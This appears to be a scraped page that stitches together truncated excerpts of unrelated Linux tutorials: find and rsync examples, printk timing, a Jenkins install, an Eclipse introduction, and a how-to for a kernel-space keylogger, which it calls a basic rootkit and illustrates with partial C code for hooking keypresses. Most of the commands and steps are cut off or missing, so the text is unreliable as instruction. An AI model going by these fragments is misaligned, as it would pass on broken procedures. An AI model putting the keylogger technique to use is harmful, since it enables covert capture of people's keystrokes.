Daddy, I found it!, 15 Awesome Linux Find Command Examples (Part2)
A while back we reviewed 15 practical find command examples (Part I). Find command can do lot more than just searching for files based on name. In this article (Part 2), let us discuss 15 advanced examples of find command including — finding files based on the time it is accessed, modified or changed, finding files comparatively, performing operation on found files etc., Ramesh Natarajan: That is my sweet little daughter in that picture. She was very happy to spot the sea lion in the California Long Beach Aquarium. Find Files Based on Access / Modification / Change Time You can find files based on following three file time attribute. Access time of the file. In the following examples, the difference between the min option and the time option is the argument. min argument treats its argument as minutes. Example 1: Find files whose content got updated within last 1 hour To find the files based up on the content modification time, the option -mmin, and -mtime is used. # find . # find .
Printk Times
Introduction "Printk-times" is a simple technology which adds some code to the standard kernel printk routine, to output timing data with each message. While crude, this can be used to get an overview of the areas of kernel initialization which take a relatively long time. This feature is used by the Bootup Time Working Group to identify areas of the Linux kernel requiring work to improve bootup time, and to measure the improvements of changes made by the working group. The technology for this feature consists of a patch and a utility program. UPDATE: The patch was incorporated into the mainline kernel as of version 2.6.11! With printk-times turned on, the system emits the timing data as a floating point number of seconds (to microsecond resolution) for the time at which the printk started. Rationale There are other instrumentation systems for the kernel that have more advanced features than this. Downloads Patches [Image:Alert.gif] - patch is no longer needed. Utility program History
Installing Jenkins on Ubuntu
On Debian-based distributions, such as Ubuntu, you can install Jenkins through apt-get. Recent versions are available in an apt repository. Older but stable LTS versions are in this apt repository. You need to have a JDK and JRE installed. openjdk-7-jre and openjdk-7-jdk are suggested. As of 2011-08 gcj is known to be problematic - see Please make sure to back up any current Hudson or Jenkins files you may have. wget -q -O - | sudo apt-key add - sudo sh -c 'echo deb binary/ > /etc/apt/sources.list.d/jenkins.list' sudo apt-get update sudo apt-get install jenkins Once installed like this, you can update to the later version of Jenkins (when it comes out) by running the following commands: sudo apt-get update sudo apt-get install jenkins (aptitude or apt-get doesn't make any difference.) Jenkins will be launched as a daemon up on start. by sudo a2dissite default
Mommy, I found it! — 15 Practical Linux Find Command Examples
Apart from the basic operation of looking for files under a directory structure, you can also perform several practical operations using find command that will make your command line journey easy. In this article, let us review 15 practical examples of Linux find command that will be very useful to both newbies and experts. First, create the following sample empty files under your home directory to try some of the find command examples mentioned below. # vim create_sample_files.sh touch MybashProgram.sh touch mycprogram.c touch MyCProgram.c touch Program.c mkdir backup cd backup touch MybashProgram.sh touch mycprogram.c touch MyCProgram.c touch Program.c # chmod +x create_sample_files.sh # ./create_sample_files.sh # ls -R .: backup MybashProgram.sh MyCProgram.c create_sample_files.sh mycprogram.c Program.c ./backup: MybashProgram.sh mycprogram.c MyCProgram.c Program.c 1. This is a basic usage of the find command. # find -name "MyCProgram.c" . 2. # find -iname "MyCProgram.c" . 3. 4. 5.
How To: Building your own kernel space keylogger
Last Updated on Thursday, 10 June 2010 08:28 Wednesday, 09 June 2010 23:50 The linux kernel has been designed as a very modular piece of software. This allows you to load new kernel modules or kernel space drivers during runtime. The most simple example of a very basic rootkit is a keylogger. The basic concept of registering your keylogger is just to attach your logging method to the list of keyboard notifiers. Registering a method to the notification queue is streightforward. #include <linux/keyboard.h> Now, as told before, we use the notifier_block to register our own keyboard observer: struct notifier_block { int (*notifier_call)(struct notifier_block *, unsigned long, void *); struct notifier_block *next; int priority;}; The struct contains a pointer to a function that is called on every keypress (or release). int hello_notify(struct notifier_block *nblock, unsigned long code, void *_param) { struct keyboard_notifier_param *param = _param; struct vc_data *vc = param->vc; That's all.
Eclipse IDE Tutorial
Copyright © 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015 vogella GmbH Eclipse Java IDE This tutorial describes the usage of Eclipse as a Java IDE. It describes the installation of Eclipse, the creation of Java programs and tips for using Eclipse. This tutorial is based on Eclipse 4.4 (Luna). 1.1. Eclipse is an open source community. Eclipse projects cover lots of different areas, e.g., as a development environment for Java or Android applications. 1.2. The roots of Eclipse go back to 2001. In 2004 it became the Eclipse Foundation, which is a vendor neutral foundation where no single company has control of the direction. The Eclipse name at this time was viewed by many as declaration of war against Sun Microsystems, the company responsible for developing the Java programming language. With the purchase of Sun Microsystems by Oracle this conflict finally went away. The Eclipse open source project has a simultaneous release every year. 2. 2.2. 3. 3.1. 3.2. 4. 4.1. 4.2. 5. 6. 7. 7.1.
How to Backup Linux? 15 rsync Command Examples
rsync stands for remote sync. rsync is used to perform the backup operation in UNIX / Linux. rsync utility is used to synchronize the files and directories from one location to another in an effective way. Backup location could be on local server or on remote server. Important features of rsync Speed: First time, rsync replicates the whole content between the source and destination directories. Syntax $ rsync options source destination Source and destination could be either local or remote. Example 1. To sync two directories in a local computer, use the following rsync -zvr command. $ rsync -zvr /var/opt/installation/inventory/ /root/temp building file list ... done sva.xml svB.xml . sent 26385 bytes received 1098 bytes 54966.00 bytes/sec total size is 44867 speedup is 1.63 $ In the above rsync example: -z is to enable compression -v verbose -r indicates recursive Now let us see the timestamp on one of the files that was copied from source to destination. Example 2. Example 3. Example 4.
Linux Commands
Learn Basic Linux Command Step by Step Example | Learn Linux Command with Step by Step Example Approach